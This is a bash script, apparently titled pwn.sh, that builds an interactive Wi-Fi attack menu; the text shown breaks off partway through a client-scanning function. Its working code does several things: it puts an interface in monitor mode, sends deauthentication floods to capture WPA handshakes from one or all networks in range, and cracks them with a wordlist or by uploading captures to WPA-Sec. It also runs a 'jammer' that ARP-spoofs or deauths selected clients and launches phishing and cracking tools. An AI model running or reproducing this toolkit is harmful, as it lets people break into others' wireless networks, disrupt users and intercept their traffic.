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pwn.sh
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#!/bin/bash
# Ensure we are being ran as root
if [ $(id -u) -ne 0 ]; then
echo "This script must be ran as root"
exit 1
fi
network () {
echo "Please, select a network interface:"
cd /sys/class/net && select foo in *; do echo $foo selected $foo; break; done
airmon-ng start $foo > /dev/null 2>&1
echo "Please, select the interface in monitor mode:"
cd /sys/class/net && select foo in *; do echo $foo selected $foo; break; done
cd /home/*/air-script
}
chmod -R 755 *
sudo postfix start > /dev/null 2>&1
sudo systemctl start postfix > /dev/null 2>&1
clear
Red="\e[1;91m" ##### Colors Used #####
Green="\e[0;92m"
Yellow="\e[0;93m"
Blue="\e[1;94m"
White="\e[0;97m"
handshakeWait=2 ##### Time, how long aircack-ng waits for handshake in minute #####
checkDependencies () { ##### Check if aircrack-ng is installed or not #####
if [ $(dpkg-query -W -f='${Status}' aircrack-ng 2>/dev/null | grep -c "ok installed") -eq 0 ]; then
echo "Installing aircrack-ng\n\n"
apt-get install -y aircrack-ng;
fi
}
checkWiFiStatus () { ##### Check if $foo is enabled or not #####
WiFiStatus=`nmcli radio wifi`
if [ "$WiFiStatus" == "disabled" ]; then
nmcli radio wifi on
echo -e "[${Green}$foo${White}] Enabled!"
fi
#stopMon > /dev/null 2>&1
checkServices > /dev/null 2>&1
}
checkServices () {
sudo systemctl restart postfix > /dev/null 2>&1
sudo postfix restart > /dev/null 2>&1
sudo systemctl restart postfix > /dev/null 2>&1
sudo systemctl start postfix > /dev/null 2>&1
sudo postfix start > /dev/null 2>&1
sudo systemctl start postfix > /dev/null 2>&1
}
banner () { ##### Banner #####
echo -e "${Red} __ __ __ __ __ ___ "
echo -e "${Red} /\ | |__) /__\` / \` |__) | |__) | "
echo -e "${Red} /~~\\ | | \\ .__/ \\__, | \\ | | | "
#echo -e "${Yellow} \n Hack the world!!! "
echo -e "${Green}\n [Version: 2.0.9 Stable] Developed by: Liam Bendix"
}
menu () { ##### Display available options in two columns #####
echo -e "\n${Yellow} [ Select Option To Continue ]\n\n"
# First column
echo -e " ${Red}[${Blue}1${Red}] ${Green}Hack Wifi ${Red}[${Blue}6${Red}] ${Green}View log file"
echo -e " ${Red}[${Blue}2${Red}] ${Green}Decrypt Password(s) ${Red}[${Blue}7${Red}] ${Green}Extra Tools"
echo -e " ${Red}[${Blue}3${Red}] ${Green}Wifi Jammer ${Red}[${Blue}8${Red}] ${Green}Help"
echo -e " ${Red}[${Blue}4${Red}] ${Green}Change MAC Address ${Red}[${Blue}9${Red}] ${Green}Exit"
echo -e " ${Red}[${Blue}5${Red}] ${Green}Change IP Address\n"
while true; do
echo -e "${Green}┌─[${Red}Select Option${Green}]──[${Red}~${Green}]─[${Yellow}Menu${Green}]:"
read -p "└─────►$(tput setaf 7) " option
case $option in
1) echo -e "\n[${Green}Selected${White}] Option 1 Hack A Wifi Network.."
wifiHacking
;;
2) echo -e "\n[${Green}Selected${White}] Option 2 Decrypt Password(s).."
crack
exit 0
;;
3) echo -e "\n[${Green}Selected${White}] Option 3 Wifi Jammer..."
wifiJammer
exit 0
;;
4) echo -e "\n[${Green}Selected${White}] Option 4 Changing MAC Address..."
macChange
exit 0
;;
5) echo -e "\n[${Green}Selected${White}] Option 5 Anonsurf..."
anonsurf
exit 0
;;
6) echo -e "\n[${Green}Selected${White}] Option 6 View log of cracked networks..."
log
exit 0
;;
7) echo -e "\n[${Green}Selected${White}] Option 7 Extra Tools..."
tools
exit 0
;;
8) echo -e "\n[${Green}Selected${White}] Option 8 Help..."
Help
exit 0
;;
9) echo -e "${Red}\n\033[1mThank You for using the script,\nHappy Hacking :)\n"
exit 0
;;
*) echo -e "${White}[${Red}Error${White}] Please select correct option...\n"
;;
esac
done
}
wifiHacking () { ##### Sending DeAuth and capture handshake #####
##### Display available options #####
echo -e "\n${Yellow} [ Select Option To Continue ]\n\n"
echo -e " ${Red}[${Blue}1${Red}] ${Green}Air-Script Attacks"
echo -e " ${Red}[${Blue}2${Red}] ${Green}Fluxion Attacks"
echo -e " ${Red}[${Blue}3${Red}] ${Green}Wifite Attacks"
echo -e " ${Red}[${Blue}4${Red}] ${Green}Wifite2 Attacks"
echo -e " ${Red}[${Blue}5${Red}] ${Green}Wifiphisher Attacks"
echo -e " ${Red}[${Blue}6${Red}] ${Green}Fern Attacks"
echo -e " ${Red}[${Blue}7${Red}] ${Green}Airogeddon Attacks"
echo -e " ${Red}[${Blue}8${Red}] ${Green}Exit\n\n"
while true; do
echo -e "${Green}┌─[${Red}Select Option${Green}]──[${Red}~${Green}]─[${Yellow}Menu${Green}]:"
read -p "└─────►$(tput setaf 7) " option
case $option in
1) echo -e "\n[${Green}Selected${White}] Option 1 Air Script Attacks.."
AirScriptMenu
;;
2) echo -e "\n[${Green}Selected${White}] Option 2 Fluxion.."
FluxionMenu
exit 0
;;
3) echo -e "\n[${Green}Selected${White}] Option 3 Wifite.."
Wifite
exit 0
;;
4) echo -e "\n[${Green}Selected${White}] Option 4 Wifite2.."
Wifite2
exit 0
;;
5) echo -e "\n[${Green}Selected${White}] Option 5 Wifiphisher.."
StartWifiphisher
exit 0
;;
6) echo -e "\n[${Green}Selected${White}] Option 6 Fern.."
Fern
exit 0
;;
7) echo -e "\n[${Green}Selected${White}] Option 7 Airgeddon.."
airogeddon
exit 0
;;
8) echo -e "${Red}\n\033[1mThank You for using the script,\nHappy Hacking :)\n"
exit 0
;;
*) echo -e "${White}[${Red}Error${White}] Please select correct option...\n"
;;
esac
done
}
AirScriptMenu() { ##### Sending DeAuth and capture handshake #####
##### Display available options #####
echo -e "\n${Yellow} [ Select Option To Continue ]\n\n"
echo -e " ${Red}[${Blue}1${Red}] ${Green}Hack A Network"
echo -e " ${Red}[${Blue}2${Red}] ${Green}Hack All Networks"
echo -e " ${Red}[${Blue}3${Red}] ${Green}PMKID Attacks"
echo -e " ${Red}[${Blue}4${Red}] ${Green}Exit\n\n"
while true; do
echo -e "${Green}┌─[${Red}Select Option${Green}]──[${Red}~${Green}]─[${Yellow}Menu${Green}]:"
read -p "└─────►$(tput setaf 7) " option
case $option in
1) echo -e "\n[${Green}Selected${White}] Option 1 Hack A Network.."
AirScript
;;
2) echo -e "\n[${Green}Selected${White}] Option 2 Hack All Networks.."
attackAll
exit 0
;;
3) echo -e "\n[${Green}Selected${White}] Option 3 PMKID Attack.."
pmkid_all
exit 0
;;
4) echo -e "${Red}\n\033[1mThank You for using the script,\nHappy Hacking :)\n"
exit 0
;;
*) echo -e "${White}[${Red}Error${White}] Please select correct option...\n"
;;
esac
done
}
AirScript() {
notification
}
notification () {
while true; do
read -p "Do you want to recive email notifications when it's done pwning?" yn
case $yn in
[Yy]* ) attackYes; break;;
[Nn]* ) attackNo;;
* ) echo "Please answer yes or no.";;
esac
done
}
attackYes () {
echo "Enter your email address for notifications: " email
read email
echo "Remember to check your spam folder!"
sleep 3
network
monitor
airodump-ng --bssid $bssid --channel $channel --output-format pcap --write handshake $foo > /dev/null &
echo -e "[${Green}${foo}${White}] Sending DeAuth to target..."
xterm -e aireplay-ng --deauth 20 -a $bssid $foo
echo -e "[${Green}Status${White}] Checking for Handshake Packet..."
check_cap_files
sleep 3
pkill -9 xterm
echo "Handshakes have been captured!" | mail -s "Networks Pwned!" $email
#crack
}
attackNo () {
network
monitor
airodump-ng --bssid $bssid --channel $channel --output-format pcap --write handshake $foo > /dev/null &
echo -e "[${Green}${foo}${White}] Sending DeAuth to target..."
xterm -e aireplay-ng --deauth 20 -a $bssid $foo
echo -e "[${Green}Status${White}] Checking for Handshake Packet..."
check_cap_files
pkill -9 xterm
#crack
}
wordlist () { ##### Enter path to wordlist or use default #####
read -p $'[\e[0;92mInput\e[0;97m] Path to wordlist (Press enter to use default): ' fileLocation
if [ -z "$fileLocation" ]; then
fileLocation="${parameter:-dictionary/defaultWordList.txt}"
return 0
elif [[ -f "$fileLocation" ]]; then
return 0
fi
echo -e "[${Red}!$White] File doesn't exist..."
wordlist
}
notification1 () {
while true; do
read -p "Do you want to recive email notifications when it's done pwning?" yn
case $yn in
[Yy]* ) attackAllYes; break;;
[Nn]* ) attackAllNo;;
* ) echo "Please answer yes or no.";;
esac
done
}
attackAll() {
notification1
}
attackAllYes() {
echo "Enter your email address for notifications: "
read email
sleep 3
echo "Remember to check your spam folder!"
network
clear
# Run Besside-ng to capture handshakes from all Wi-Fi networks in range
echo -e "${Green}Starting Besside-ng to capture WPA handshakes from all networks in range..."
besside-ng $foo
# Once Besside-ng completes (or captures a handshake), it will stop and output results
echo -e "${Green}Handshakes capture complete. Saved in ~/handshakes/"
stopMon
echo "Handshakes have been captured!" | mail -s "Networks Pwned!" $email
crack
}
attackAllNo () {
network
# Run Besside-ng to capture handshakes from all Wi-Fi networks in range
echo -e "${Green}Starting Besside-ng to capture WPA handshakes from all networks in range..."
besside-ng $foo
# Once Besside-ng completes (or captures a handshake), it will stop and output results
echo -e "${Green}Handshakes capture complete. Saved in ~/handshakes/"
stopMon
crack
}
crack () {
checkServices
stopMon
sleep 2
echo "Handshakes have been captured!" | mail -s "Networks Pwned!" $email > /dev/null 2>&1
# Check if there are any .cap files in the current directory
if ! ls *.cap &>/dev/null; then
# If no .cap files found, change to /handshakes directory without output
cd handshakes &>/dev/null
fi
crack_hashes
}
crack_hashes() {
echo "Do you want to crack hashes from your device or from the web?"
select method in "Local (Device)" "Upload (WPA-Sec)"; do
case $method in
"Local (Device)")
# Local cracking with Hashcat or other methods (you can extend this part)
echo "You have selected local cracking."
echo "Your current directory:"
pwd
ls *.txt &>/dev/null
read -p "Enter path to wordlist : " wordlist
sudo aircrack-ng -w "$wordlist" *.cap
cleanup_handshakes
exit
;;
"Upload (WPA-Sec)")
# Ask for the user's email for cracking (optional, based on the site)
echo "Please provide your email for WPA-Sec service:"
read -p "Email: " user_email
if [[ -z "$user_email" ]]; then
echo "Email cannot be empty. Exiting."
exit 1
fi
# Ask for the path to the .cap file
echo "Please provide the path to your .cap file:"
echo "Your current directory:"
pwd
ls *.cap
read -p "Path to .cap file: " cap_file
# Check if the file exists
if [[ ! -f "$cap_file" ]]; then
echo "File not found. Exiting."
exit 1
fi
# Ensure user agrees to terms and conditions (optional, based on the site)
echo "Please agree to the Terms & Conditions by typing 'yes':"
read agreement
if [[ "$agreement" != "yes" ]]; then
echo "You must agree to the terms to continue. Exiting."
exit 1
fi
key_file="/home/*/air-script/key.txt"
if [[ ! -f "$key_file" ]]; then
echo "key.txt file not found. Exiting."
exit 1
fi
# Get the key from key.txt using the correct path
key=$(cat "$key_file")
# Check if the key is empty
if [[ -z "$key" ]]; then
echo "Key in key.txt is empty. Exiting."
exit 1
fi
# Upload to WPA-Sec
echo "Uploading $cap_file to WPA-Sec..."
response=$(curl --progress-bar -X POST "https://wpa-sec.stanev.org/?submit" \
-F "email=$user_email" \
-F "file=@$cap_file" \
-F "key=$key" \
-F "submit=Submit")
# Output the response status code and body for debugging
echo "Response: $response"
echo "This capture is legacy but will still work..."
echo "Handshakes have been successfully submitted. If a password is found you will receive an email."
# Check the response to determine if submission was successful
if [[ "$response" == *"Cracking started"* ]]; then
echo "Cracking request submitted successfully."
else
echo "Error submitting your request. Please try again. Response: $response"
exit 1
fi
break
;;
*)
echo "Invalid option. Please select either 'Local' or 'Upload'."
;;
esac
done
}
cleanup () {
sudo rm -f *.csv > /dev/null 2>&1
sudo rm -f *.netxml > /dev/null 2>&1
sudo rm -f airodump_output.log > /dev/null 2>&1
sudo rm -f *.ivs > /dev/null 2>&1
sudo rm -f *.hc22000 > /dev/null 2>&1
sudo rm -f essidlist > /dev/null 2>&1
cleanup_handshakes
sudo mv *pcapng /handshakes > /dev/null 2>&1
}
cleanup_handshakes() {
# Define the directory path explicitly
local script_dir="/home/*/air-script" # Adjust the path to your actual script location
# Ensure you're in the correct directory
if [ ! -d "$script_dir/handshakes" ]; then
echo "Creating handshakes directory..."
mkdir -p "$script_dir/handshakes"
fi
echo "Renaming and moving .cap files to handshakes folder..."
# Change to the script directory
cd "$script_dir" || { echo "Failed to change directory to $script_dir"; exit 1; }
for cap_file in *.cap; do
if [ -f "$cap_file" ]; then
timestamp=$(date +"%Y-%m-%d_%H-%M-%S")
new_file="handshakes/${timestamp}_$(basename "$cap_file")"
mv "$cap_file" "$new_file"
fi
done
echo "Cleanup complete. All .cap files renamed and moved to handshakes."
}
FluxionMenu() {
cd /home/*/air-script/tools
cd fluxion
sudo ./fluxion.sh
}
Wifite () {
sudo wifite
}
Wifite2 () {
wifite
cd /home/*/air-script/tools
cd wifite2
sudo ./Wifite.py
}
StartWifiphisher () {
wifiphisher
}
Fern () {
sudo fern-wifi-cracker
}
airogeddon () {
cd /home/*/air-script/tools
cd airgeddon
sudo bash airgeddon.sh
}
################## WIFI JAMMER ####################################
# Function: List network interfaces and allow selection
select_interface() {
echo "Available network interfaces:"
interfaces=($(ls /sys/class/net))
select interface in "${interfaces[@]}"; do
if [[ -n "$interface" ]]; then
echo "Selected interface: $interface"
break
else
echo "Invalid selection. Try again."
fi
done
}
# Function: Scan for clients on the current network using arp-scan
scan_clients() {
echo "Scanning current network for connected devices..."
# Perform an ARP scan with retries and save results
retries=3
for i in $(seq 1 "$retries"); do
echo "ARP Scan Attempt $i of $retries..."
sudo arp-scan --localnet --interface="$interface" --retry=5 >> arp_scan_results_raw.txt
sleep 1
done
# Clean up and remove duplicates from the results
sort -u -o arp_scan_results_raw.txt arp_scan_results_raw.txt
# Extract IP, MAC, and vendor information
awk '/[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+/ {print $1, $2, $3}' arp_scan_results_raw.txt > arp_scan_results.txt
# Display the results
echo -e "\nDetected Clients:"
echo "------------------------------------------------------------"
echo "No. IP Address MAC Address Vendor/Device Name"
echo "------------------------------------------------------------"
awk '{printf "%-3d %-15s %-17s %-20s\n", NR, $1, $2, $3}' arp_scan_results.txt
# Count total clients
total_clients=$(wc -l < arp_scan_results.txt)
if [ "$total_clients" -eq 0 ]; then
echo "No clients found. Retrying with nmap for more details..."
# Fallback: Use nmap to detect devices
gateway_ip=$(ip route | awk '/default/ {print $3}')
subnet=$(echo "$gateway_ip" | awk -F. '{print $1"."$2"."$3".0/24"}')
sudo nmap -sn "$subnet" | awk '/Nmap scan report/{ip=$NF}/MAC Address/{print ip, $3, $4, $5, $6}' >> arp_scan_results.txt
total_clients=$(wc -l < arp_scan_results.txt)
if [ "$total_clients" -eq 0 ]; then
echo "No clients found after retrying. Exiting."
exit 1
fi
fi
}
# Function: Allow user to select target clients
select_clients() {
echo -e "\nSelect clients to target:"
echo "1) Single client"
echo "2) Multiple clients"
echo "3) All clients"
read -p "Enter your choice (1/2/3): " choice
case $choice in
1)
read -p "Enter the client number to target: " target_num
target_mac=$(awk -v num="$target_num" '/[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+/ {if (NR == num) print $2}' arp_scan_results.txt)
targets=("$target_mac")
;;
2)
echo "Enter the client numbers to target (separated by spaces):"
read -a target_nums
targets=()
for num in "${target_nums[@]}"; do
mac=$(awk -v num="$num" '/[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+/ {if (NR == num) print $2}' arp_scan_results.txt)
targets+=("$mac")
done
;;
3)
targets=($(awk '/[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+/ {print $2}' arp_scan_results.txt))
;;
*)
echo "Invalid choice. Exiting."
exit 1
;;
esac
}
# Function: Auto-detect BSSID and channel
auto_detect_bssid_channel() {
echo "Auto-detecting BSSID and channel of the connected network..."
bssid=$(iw dev "$interface" link | awk '/Connected/ {print $3}')
channel=$(iw dev "$interface" info | awk '/channel/ {print $2}')
if [[ -z "$bssid" || -z "$channel" ]]; then
echo "Failed to detect BSSID or channel. Ensure you're connected to a network."
exit 1
fi
echo "Detected BSSID: $bssid"
echo "Detected Channel: $channel"
}
# Function: Perform ARP spoofing attack
arp_spoof() {
echo "Starting ARP spoofing attack..."
for mac in "${targets[@]}"; do
echo "Spoofing client: $mac"
sudo arpspoof -i "$interface" -t "$mac" "$gateway_ip" &
done
echo "ARP spoofing attack in progress. Press Ctrl+C to stop."
wait
}
# Function: Perform DeAuth attack
deauth_attack() {
echo "Starting DeAuth attack..."
for mac in "${targets[@]}"; do
echo "Deauthenticating client: $mac"
aireplay-ng --deauth 1000 -a "$bssid" -c "$mac" "$monitor_interface"
done
echo "DeAuth attack complete."
}
# Main Script Logic
wifiJammer() {
echo "Wi-Fi Jammer"
echo "------------"
echo "1) Target Current Network"
echo "2) Target Another Network"
read -p "Choose an option (1/2): " network_choice
if [ "$network_choice" -eq 2 ]; then
echo "Feature to target another network is not implemented yet."
exit 0
fi
echo "Available attack methods:"
echo "1) ARP Spoofing"
echo "2) DeAuth Attack"
read -p "Choose an attack method (1/2): " attack_method
# Select interface for ARP scan
select_interface
# Scan for clients
scan_clients
# Select target clients
select_clients
if [ "$attack_method" -eq 1 ]; then
echo "Performing ARP Spoofing Attack..."
read -p "Enter the gateway IP for ARP spoofing: " gateway_ip
arp_spoof
elif [ "$attack_method" -eq 2 ]; then
echo "Performing DeAuth Attack..."
# Auto-detect BSSID and channel
auto_detect_bssid_channel
# Enable monitor mode
echo "Enabling monitor mode on $interface..."
airmon-ng start "$interface"
monitor_interface="${interface}mon"
# Perform DeAuth attack
deauth_attack
# Disable monitor mode after the attack
echo "Disabling monitor mode on $monitor_interface..."
airmon-ng stop "$monitor_interface"
else
echo "Invalid attack method selected. Exiting."
exit 1
fi
}
##############################################################################
# Function to capture MAC addresses and process them
captureMAC() {
# Ensure the script is running with root privileges
if [ "$(id -u)" -ne 0 ]; then
echo "This script must be run as root"
return 1
fi
# Parse input arguments
while getopts "c:b:f:" opt; do
case "$opt" in
c) channel="$OPTARG" ;;
b) bssid="$OPTARG" ;;
f) foo="$OPTARG" ;;
*) echo "Usage: $0 -c <channel> -b <BSSID> -f <interface>"; return 1 ;;
esac
done
# Validate input parameters
if [ -z "$channel" ] || [ -z "$bssid" ] || [ -z "$foo" ]; then
echo "Usage: $0 -c <channel> -b <BSSID> -f <interface>"
return 1
fi
# Check if the provided interface is already in monitor mode
if ! iw dev "$foo" info | grep -q "type monitor"; then
echo "$foo is not in monitor mode. Please make sure the interface is in monitor mode."
return 1
fi
# Create a temporary capture file to store output
capture_file="capture_$bssid"
# Start airodump-ng with timeout handling
echo "Capturing data on channel $channel for AP $bssid using interface $foo..."
# Print the interface status for debugging
iw dev "$foo" info
# Start airodump-ng in the background and capture its process ID
airodump-ng --channel "$channel" --bssid "$bssid" --write "$capture_file" "$foo" > airodump_output.log 2>&1 &
airodump_pid=$!
# Wait for 30 seconds before killing the process
sleep 30
# Check if airodump-ng is still running, and kill it if necessary
if kill -0 $airodump_pid 2>/dev/null; then
echo "Timeout reached. Killing airodump-ng process..."
kill $airodump_pid
else
echo "airodump-ng process already completed."
fi
# Wait for airodump-ng to terminate (if not already terminated)
wait $airodump_pid
# Check if airodump-ng successfully created a capture file
if [ ! -f "${capture_file}-01.csv" ]; then
echo "Failed to capture any data or the capture file does not exist."
echo "Check the log file airodump_output.log for errors."
return 1
fi
# Extract the MAC addresses of connected clients and stations
echo "Extracting client and station MAC addresses associated with BSSID $bssid..."
# Extract station MAC addresses using grep and awk (station list from CSV file)
echo "Station MAC addresses:"
awk -F, -v bssid="$bssid" '$1 == bssid {print $1}' "${capture_file}-01.csv" | grep -oE '([[:xdigit:]]{2}:){5}[[:xdigit:]]{2}' | sort | uniq
# Extract associated client MAC addresses using grep and awk (client list from CSV file)
echo "Client MAC addresses:"
awk -F, -v bssid="$bssid" '$1 == bssid {print $1}' "${capture_file}-01.csv" | grep -oE '([[:xdigit:]]{2}:){5}[[:xdigit:]]{2}' | sort | uniq | while read client; do
echo "Client MAC: $client"
done
# Clean up capture files
# rm -f "${capture_file}"*
echo "Script completed successfully. Monitor mode was not disabled."
}
# Example usage of the captureMAC function
# You would call the function with the correct parameters like this:
# captureMAC -c 11 -b 94:6A:77:2D:2A:6E -f wlan0
# Example usage of the captureMAC function
# You would call the function with the correct parameters like this:
# captureMAC -c 6 -b XX:XX:XX:XX:XX:XX -f wlan0
monitor() {
#foo="wlan0" # Example interface, replace with the correct one if needed
airmon-ng check kill
# Check if the interface exists
if ! iwconfig $foo > /dev/null 2>&1; then
echo "Interface $foo not found. Please check your device."
exit 1
fi
# Start monitor mode (check if this works before continuing)
# echo "Starting monitor mode on $foo..."
# airmon-ng start $foo > /dev/null 2>&1
# if [ $? -ne 0 ]; then
# echo "Failed to start monitor mode on $foo. Please check your device."
# exit 1
#fi
# Start monitor mode (check if this works before continuing)
echo -e "\e[32m[Starting monitor mode on $foo...]\e[0m"
airmon-ng start $foo > /dev/null 2>&1
if [ $? -ne 0 ]; then
echo -e "\e[31mFailed to start monitor mode on $foo. Please check your device.\e[0m"
exit 1
fi
# Set up a cleanup trap
trap "airmon-ng stop $foo > /dev/null; rm -f generated-01.kismet.csv handshake-01.cap 2> /dev/null" EXIT
# Run airodump-ng in background and redirect output
echo "Starting airodump-ng scan on $foo..."
airodump-ng --output-format kismet --write generated $foo > /dev/null &
airodump_pid=$! # Capture PID of airodump-ng
sleep 20
# Check if the airodump-ng process is still running
if ps -p $airodump_pid > /dev/null; then
echo "Killing airodump-ng process..."
kill $airodump_pid
else
echo "airodump-ng process already stopped."
fi
# Check if the CSV file was created
if [ ! -f "generated-01.kismet.csv" ]; then
echo "Error: generated-01.kismet.csv not found. Is airodump-ng running correctly?"
exit 1
fi
# Remove the header from the CSV
sed -i '1d' generated-01.kismet.csv
# Debugging: Print out the first few rows of the CSV to ensure we're capturing the correct columns
echo -e "\n\n${Red}CSV Raw Data (First 5 lines)${White}:"
head -n 5 generated-01.kismet.csv
# Print the available networks (SSID and BSSID) for the user to select
echo -e "\n\n${Red}SerialNo WiFi Network${White}"
awk -F ";" '{gsub(/^[ \t]+|[ \t]+$/, "", $3); gsub(/^[ \t]+|[ \t]+$/, "", $4); print NR, $3, $4}' generated-01.kismet.csv | nl -n ln -w 8
# Get the number of networks in the file
total_networks=$(wc -l < generated-01.kismet.csv)
if [ -z "$total_networks" ] || [ "$total_networks" -eq 0 ]; then
echo "No networks found. Please check if airodump-ng is running correctly."
exit 1
fi
# Prompt user to select a target network
targetNumber=1000
while [ ${targetNumber} -gt ${total_networks} ] || [ ${targetNumber} -lt 1 ]; do
echo -e "\n${Green}┌─[${Red}Select Target${Green}]──[${Red}~${Green}]─[${Yellow}Network${Green}]:"
read -p "└─────►$(tput setaf 7) " targetNumber
done
# Extract network details using awk with whitespace handling
targetName=$(awk -F ';' "NR==${targetNumber} {print \$3}" generated-01.kismet.csv | xargs)
bssid=$(awk -F ';' "NR==${targetNumber} {print \$4}" generated-01.kismet.csv | xargs)
channel=$(awk -F ';' "NR==${targetNumber} {print \$6}" generated-01.kismet.csv | xargs)
# Output the selected target
echo -e "\n${Green}You have selected the following network:${White}"
echo -e "${Green}SSID:${White} ${targetName}"
echo -e "${Green}BSSID:${White} ${bssid}"
echo -e "${Green}Channel:${White} ${channel}"
# Set the wifi card to the target channel
sudo iwconfig $foo channel $channel
# Check if BSSID is empty, and alert the user if necessary
if [ -z "$bssid" ]; then
echo -e "${Red}Error: Invalid BSSID. Please try again with a valid target network.${White}"
exit 1
fi
# Clean up the CSV file
rm generated-01.kismet.csv 2> /dev/null
# Confirm that we are preparing for the attack
echo -e "\n[${Green}${targetName}${White}] Preparing for attack..."
}
networkselect () {
echo "Please, select a network interface:"
cd /sys/class/net && select foo in *; do echo $foo selected $foo; break; done
}
# Function to check if EAPOL frames exist in a .cap file
check_eapol_in_cap() {
local cap_file=$1
if tshark -r "$cap_file" -Y "eapol" | grep -q "EAPOL"; then
echo "EAPOL data found in $cap_file"
return 0
else
echo "No EAPOL data found in $cap_file"
return 1
fi
}
# Function to check if .cap files exist and verify EAPOL frames
check_cap_files() {
# Clear the screen
#clear
# Check if any .cap files exist in the current directory
if ls *.cap &> /dev/null; then
# .cap files are present
echo -e "\e[32m[SUCCESS] .cap files found.\e[0m" # Green text
# Loop through each .cap file to check for EAPOL frames
for cap_file in *.cap; do
echo -e "\nChecking $cap_file for EAPOL frames..."
if check_eapol_in_cap "$cap_file"; then
echo -e "\e[32m[EAPOL Found]\e[0m Proceeding with cracking."
# Turn off monitor mode silently
echo "Turning off monitor mode..."
sudo airmon-ng stop > /dev/null 2>&1
sudo airmon-ng stop wlp7s0mon > /dev/null 2>&1
sudo systemctl start NetworkManager > /dev/null 2>&1
echo "Handshakes have been captured!" | mail -s "Networks Pwned!" $email > /dev/null 2>&1
# Now proceed with cracking
crack "$cap_file" # Assuming 'crack' is a function that accepts the file
return 0 # Stop after finding a valid file with EAPOL
else
echo -e "\e[31m[EAPOL Not Found]\e[0m Skipping file."
fi
done
# If no valid .cap files with EAPOL are found, exit
echo -e "\e[31mNo valid .cap files with EAPOL data found. 0 Handshakes captured. Trying again...\e[0m"
deauthAttack
else
# No .cap files found
echo -e "\e[31m[FAILED] No .cap files found.\e[0m" # Red text
sleep 3
deauthAttack
fi
}
deauthAttack () {
sudo airodump-ng --bssid $bssid --channel $channel --output-format pcap --write handshake $foo > /dev/null &
recon
sleep 4
xterm -e aireplay-ng -0 50 -a $bssid -c $client $foo
sleep 2
check_cap_files
}
recon() {
retries=0
max_retries=5 # Define the number of retries
client_found=false # Flag to check if client is found
while [ $retries -lt $max_retries ]; do
echo -e "\e[32m[Scanning for clients...]\e[0m" # Green text for scanning message
# Start airodump-ng with sudo for permission
xterm -hold -e "sudo airodump-ng --bssid $bssid --channel $channel --output-format csv --write client $foo && sleep 60 && exit" > /dev/null 2>&1 &
# Allow 60 seconds for the capture file to populate (increased wait time)
echo "Waiting for 60 seconds for airodump to capture data..."
sleep 60
# Check if the capture CSV file exists and contains data
if [ ! -f "client-01.csv" ]; then
echo -e "\e[31mError: client-01.csv not found. Airodump-ng may not have captured any data.\e[0m"
retries=$((retries + 1))